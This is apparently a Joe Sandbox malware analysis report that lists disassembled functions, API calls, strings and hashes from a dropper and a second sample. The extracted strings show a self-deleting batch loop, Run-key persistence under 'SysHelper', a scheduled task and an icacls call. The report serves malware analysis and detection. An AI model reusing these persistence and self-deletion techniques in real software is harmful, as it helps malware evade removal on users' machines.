Part of subcall function 00B41973: GetFileSize.KERNEL32(00B44E5C,00000000), ref: 00B41A2C
Part of subcall function 00B41973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00B41A46
Part of subcall function 00B41973: ReadFile.KERNEL32(00B44E5C,00B44E60,00000000,?,00000000), ref: 00B41A65

DeleteFileA.KERNEL32(?,?,00B44E54,00B44E58), ref: 00B4281A
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000004,00000000,00000000,?,00B44E54,00B44E58), ref: 00B42832

Strings

%s%.8x.exe, xrefs: 00B427BB
C:\Users\user\AppData\Local\Temp\, xrefs: 00B427B6
\WinRAR\Rar.exe, xrefs: 00B42793
%s%s, xrefs: 00B427A5
%s\%s, xrefs: 00B427EE
C:\Windows\system32, xrefs: 00B427E3
c_31892.nls, xrefs: 00B427DE

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: File$wsprintf$Create$CopyPathTimememsetrandsrand$AllocDeleteExistsFolderReadSizeSleepSpecialSystemVirtual
String ID: %s%.8x.exe$%s%s$%s\%s$C:\Users\user\AppData\Local\Temp\$C:\Windows\system32$\WinRAR\Rar.exe$c_31892.nls
API String ID: 692489704-3961832207
Opcode ID: 437cabefee136966aa4b265afa6d51db8f0cad289eff9897b397d9cf6e48c288
Instruction ID: 93d7b25cda80aca83a18fdc14d5e5e18e216eda09ed3074254dbe94a384eacf6
Opcode Fuzzy Hash: 437cabefee136966aa4b265afa6d51db8f0cad289eff9897b397d9cf6e48c288
Instruction Fuzzy Hash: 552150B694021C7BDB10E7A49C89FDB73ECEB04B44F4405E1B644E3152E6B0DF949AA0

Function 00B41581 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 67filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4185B: GetSystemTimeAsFileTime.KERNEL32(00B41F92,00000000,?,00000000,?,?,?,00B41F92,?,00000000,00000002), ref: 00B41867
Part of subcall function 00B4185B: srand.MSVCRT ref: 00B41878
Part of subcall function 00B4185B: rand.MSVCRT ref: 00B41880
Part of subcall function 00B4185B: srand.MSVCRT ref: 00B41890
Part of subcall function 00B4185B: rand.MSVCRT ref: 00B41894

wsprintfA.USER32 ref: 00B415AA
wsprintfA.USER32 ref: 00B415C6
lstrlen.KERNEL32(?), ref: 00B415D2
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 00B415EE
WriteFile.KERNEL32(00000000,?,00000000,00000001,00000000), ref: 00B41609
CloseHandle.KERNEL32(00000000), ref: 00B41612
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00B4162D

Strings

%s%.8x.bat, xrefs: 00B415A4
:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s", xrefs: 00B415C0
C:\Users\user\AppData\Local\Temp\, xrefs: 00B41599
C:\Users\user\AppData\Local\Temp\RranN.exe, xrefs: 00B4158A, 00B415B3, 00B415B8, 00B415B9
open, xrefs: 00B41627

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: File$Timerandsrandwsprintf$CloseCreateExecuteHandleShellSystemWritelstrlen
String ID: %s%.8x.bat$:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\RranN.exe$open
API String ID: 617340118-1649372179
Opcode ID: 2e310b91dbe17c514d268469f1b73198311aa63dd396038de242901e76b332f2
Instruction ID: 947d201cd5799a914f19b623e8dc5ce9d646836d9ee70613f47ebfbdc450263e
Opcode Fuzzy Hash: 2e310b91dbe17c514d268469f1b73198311aa63dd396038de242901e76b332f2
Instruction Fuzzy Hash: 161194769011287AD72097A49C89EEB7BECEF5AB10F040491F549E3050DA709B84CBB0

Function 00B4120E Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 93librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,ZwQuerySystemInformation,00000104,?,?,?,?,00B41400), ref: 00B41226
GetProcAddress.KERNEL32(00000000), ref: 00B4122D
GetCurrentProcessId.KERNEL32(?,?,?,?,00B41400), ref: 00B4123F
OpenProcess.KERNEL32(00000400,00000000,00000000,?,?,?,?,00B41400), ref: 00B41250
VirtualFree.KERNEL32(00000000,00000000,00008000,?,C:\Users\user\AppData\Local\Temp\RranN.exe,?,?,?,?,00B41400), ref: 00B4129E
VirtualAlloc.KERNEL32(00000000,00050000,00003000,00000004,00000001,?,C:\Users\user\AppData\Local\Temp\RranN.exe,?,?,?,?,00B41400), ref: 00B412B0
CloseHandle.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\RranN.exe,?,?,?,?,00B41400), ref: 00B412F5
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,00B41400), ref: 00B4130A

Strings

ntdll.dll, xrefs: 00B41219
ZwQuerySystemInformation, xrefs: 00B41212
C:\Users\user\AppData\Local\Temp\RranN.exe, xrefs: 00B41262

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: Virtual$FreeHandleProcess$AddressAllocCloseCurrentModuleOpenProc
String ID: C:\Users\user\AppData\Local\Temp\RranN.exe$ZwQuerySystemInformation$ntdll.dll
API String ID: 1500695312-2066812438
Opcode ID: c622a27d0da46223002b21cc376de4da88a10fbbb651d4020f5b41872bd2ec04
Instruction ID: 5cea98f16dcffac35fb5c0355fc148a9db4e55a984ada5838a9465ed7d32e25e
Opcode Fuzzy Hash: c622a27d0da46223002b21cc376de4da88a10fbbb651d4020f5b41872bd2ec04
Instruction Fuzzy Hash: 6B21C371A05311ABD7209F69CC48B6BBAE8FB86F00F140E58F645E7240D7B0DB8497A5

Function 00B42692 Relevance: 12.1, APIs: 8, Instructions: 64stringsynchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000001,00000000,74DEE800,?,?,00B429DB,?,00000001), ref: 00B426A7
WaitForSingleObject.KERNEL32(00000000,000000FF,74DEE800,?,?,00B429DB,?,00000001), ref: 00B426B5
lstrlen.KERNEL32(?), ref: 00B426C4
??2@YAPAXI@Z.MSVCRT ref: 00B426CE
lstrcpy.KERNEL32(00000004,?), ref: 00B426E3
lstrcpy.KERNEL32(?,00000004), ref: 00B4271F
??3@YAXPAX@Z.MSVCRT ref: 00B4272D
SetEvent.KERNEL32 ref: 00B4273C

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: Eventlstrcpy$??2@??3@CreateObjectSingleWaitlstrlen
String ID:
API String ID: 41106472-0
Opcode ID: de69671d30108e98d3413bfbc21958abdd21f766a0a3cc8c88b39eceb0645027
Instruction ID: 54da2675c1cac636dcce24d5ffc9a62c836e504f986fd76f14a3a5205dab0329
Opcode Fuzzy Hash: de69671d30108e98d3413bfbc21958abdd21f766a0a3cc8c88b39eceb0645027
Instruction Fuzzy Hash: 7311BF3E900220EFCB319F14EC88A6A7BE9FB96B207554165F85897220DF308F95FB50

Function 00B41B8A Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 81stringCOMMON

Download Yara Rule

APIs

srand.MSVCRT ref: 00B41BCD
rand.MSVCRT ref: 00B41BD8
memset.MSVCRT ref: 00B41C43
memcpy.MSVCRT ref: 00B41C4F
lstrcat.KERNEL32(?,.exe), ref: 00B41C5D

Strings

.exe, xrefs: 00B41C57
UBhYbFRNaWVZkbxSgHmMdIVsSHaGdjsdlNnJuOMiBDACqTMLnUTDEVrSfIoAjazlWLKuyZxNCQciLGXuetlmvktBJrKtRfYOAbJEHpqgOyUmPQRWgxhXPYQvqFwpZnywFpweTziGECPKovhcsDfIkzrcoXje, xrefs: 00B41B8A, 00B41B9C, 00B41C15, 00B41C49

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: lstrcatmemcpymemsetrandsrand
String ID: .exe$UBhYbFRNaWVZkbxSgHmMdIVsSHaGdjsdlNnJuOMiBDACqTMLnUTDEVrSfIoAjazlWLKuyZxNCQciLGXuetlmvktBJrKtRfYOAbJEHpqgOyUmPQRWgxhXPYQvqFwpZnywFpweTziGECPKovhcsDfIkzrcoXje
API String ID: 122620767-2728536847
Opcode ID: c0c2f0e51f964b15b9279f48d047dfda7290267c53bf75736f163959437f9ef8
Instruction ID: 6aa4e7e757db9b8d95d95d51354e6dd65c628606bd1ed6e9d78b5b8fea44c85a
Opcode Fuzzy Hash: c0c2f0e51f964b15b9279f48d047dfda7290267c53bf75736f163959437f9ef8
Instruction Fuzzy Hash: A8218126E445906ED325133DAC80B693FC4DFE3B11F1944F9F9851B1B3D6540FD5A260

Function 00B4189D Relevance: 9.1, APIs: 6, Instructions: 51processsynchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00B418B1
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,?,?,000007D0,74DF0F00,75BF8400), ref: 00B418D3
CloseHandle.KERNEL32(00B42549), ref: 00B418E9
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00B418F0
GetExitCodeProcess.KERNEL32(?,00B42549), ref: 00B41901
CloseHandle.KERNEL32(?), ref: 00B4190A

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateExitObjectSingleWaitmemset
String ID:
API String ID: 876959470-0
Opcode ID: 4dc232bb39d21afeec00be1ce9423430772b74bb28098b65a03d0778c1cae411
Instruction ID: 3272998ab30ccbc571f3c4d29387705f981fb6d91d757c235af5a5ae26a29a10
Opcode Fuzzy Hash: 4dc232bb39d21afeec00be1ce9423430772b74bb28098b65a03d0778c1cae411
Instruction Fuzzy Hash: 5E01B136901128BBCB20ABD5DC48EDF7FBDFF86720F104121FA15A21A0C6314B58CAA0

Function 00B41319 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,NtSystemDebugControl,-00000094,-00000094,0000000C,0000000C,00000001), ref: 00B41334
GetProcAddress.KERNEL32(00000000), ref: 00B4133B
memset.MSVCRT ref: 00B41359

Strings

ntdll.dll, xrefs: 00B4132F
NtSystemDebugControl, xrefs: 00B4132A

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: AddressHandleModuleProcmemset
String ID: NtSystemDebugControl$ntdll.dll
API String ID: 3137504439-2438149413
Opcode ID: 2ee6c391de436fd36562deb71def728236c23102cb70fe219759f5d23d4d9531
Instruction ID: 5a125925312f77881fcbffd8eea5186832499911f18893fd6454e7731bb03a45
Opcode Fuzzy Hash: 2ee6c391de436fd36562deb71def728236c23102cb70fe219759f5d23d4d9531
Instruction Fuzzy Hash: FB018075A00309BFDB20DF9CEC85A6FBBF8FB41714F0045AAF941A2150E7708795EA55

Function 00B41DF6 Relevance: 7.5, APIs: 5, Instructions: 45stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 00B41E0B
lstrcpy.KERNEL32(?,00000001), ref: 00B41E1C
strrchr.MSVCRT ref: 00B41E2B
lstrcmpiA.KERNEL32(?,00B44488), ref: 00B41E48
lstrlen.KERNEL32(00B44488), ref: 00B41E53

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: strrchr$lstrcmpilstrcpylstrlen
String ID:
API String ID: 3636361484-0
Opcode ID: 1e3f86e502c66ba5b8b4019437ef2ce36eeb9241bc6fed01a79acc5a12d5a7bf
Instruction ID: 13ec924e75b2ff292101fbca930378b463d6c8d979f37fec963356d015d78bde
Opcode Fuzzy Hash: 1e3f86e502c66ba5b8b4019437ef2ce36eeb9241bc6fed01a79acc5a12d5a7bf
Instruction Fuzzy Hash: 7401D6BAD042196FEF205768EC48BD677DCEB05350F4404A6EA45E3191EFB49BC49BA0

Function 00B4185B Relevance: 7.5, APIs: 5, Instructions: 31timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00B41F92,00000000,?,00000000,?,?,?,00B41F92,?,00000000,00000002), ref: 00B41867
srand.MSVCRT ref: 00B41878
rand.MSVCRT ref: 00B41880
srand.MSVCRT ref: 00B41890
rand.MSVCRT ref: 00B41894

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: Timerandsrand$FileSystem
String ID:
API String ID: 4106363736-0
Opcode ID: e19cce972bd76d0463e3a55039f8c02947243bc106d0411dadf55da3d9041fdd
Instruction ID: 7f0d44394da36ceb0028a93c2b77c582ec5dc3aec1b47778e2cfaef64fd26aaf
Opcode Fuzzy Hash: e19cce972bd76d0463e3a55039f8c02947243bc106d0411dadf55da3d9041fdd
Instruction Fuzzy Hash: 49E0D1776002187BD70057F9EC46D9EB7ECEE455617140527F500D3350E971FE448674

Function 00B46014 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00B4603C
GetProcAddress.KERNEL32(00000000,00B46064), ref: 00B4604F

Strings

kernel32.dll, xrefs: 00B4603B

Memory Dump Source

Source File: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: kernel32.dll
API String ID: 1646373207-1793498882
Opcode ID: a6a4e9929179e03ccb8c8acc6187f1b3153ecde89b9903873aa478baa119ccb0
Instruction ID: 90c8204760a33b2db4f83e777f7be3a7b3752b24cea2fdeee55c9297b7d5d27f
Opcode Fuzzy Hash: a6a4e9929179e03ccb8c8acc6187f1b3153ecde89b9903873aa478baa119ccb0
Instruction Fuzzy Hash: 12F0F6B15402999FDF70CE64CC84BDE37E4EB06700F50046AE909CB341CB3487459B15

Analysis Process: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exePID: 3492, Parent PID: 5480COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	33%
Total number of Nodes:	833
Total number of Limit Nodes:	23

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,008CAF00,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
C:\Windows\, xrefs: 0041AE0F
D:\Program Files (x86)\Google\, xrefs: 0041B085
list<T> too long, xrefs: 0041B669, 0041B673
runas, xrefs: 0041A6CE
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
x*P, xrefs: 0041ACE4
IsNotAutoStart, xrefs: 0041A645
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
D:\Program Files\Google\, xrefs: 0041B0EE
--Admin, xrefs: 0041A1B4, 0041A632
IsAutoStart, xrefs: 0041A1D0, 0041A273
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
I:\5d2860c89d774.jpg, xrefs: 0041B32F
F:\, xrefs: 0041B397
C:\Program Files\Google\, xrefs: 0041AFB9
%username%, xrefs: 0041B283
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
X1P, xrefs: 0041A485
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
<, xrefs: 0041A67B
IsNotTask, xrefs: 0041A654
--Task, xrefs: 0041A2CD
--Service, xrefs: 0041A30B
7P, xrefs: 0041B164
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
D:\Windows\, xrefs: 0041AFF3
IsTask, xrefs: 0041A1EE, 0041A299
x2Q, xrefs: 0041A856
--AutoStart, xrefs: 0041A2EC
--ForNetRes, xrefs: 0041A22E

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: 5654f1f0d8902897548b635c0c3de12d41863b9e7f9f148f59327b5af1546f90
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 5654f1f0d8902897548b635c0c3de12d41863b9e7f9f148f59327b5af1546f90
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

Time Trigger Task, xrefs: 0040D43C, 0040D973
Author Name, xrefs: 0040D4C8
PT5M, xrefs: 0040D5A1, 0040D66C
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
--Task, xrefs: 0040D8DD
Trigger1, xrefs: 0040D6FA
2030-05-02T08:00:00, xrefs: 0040D737
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
" --AutoStart, xrefs: 00411DD1
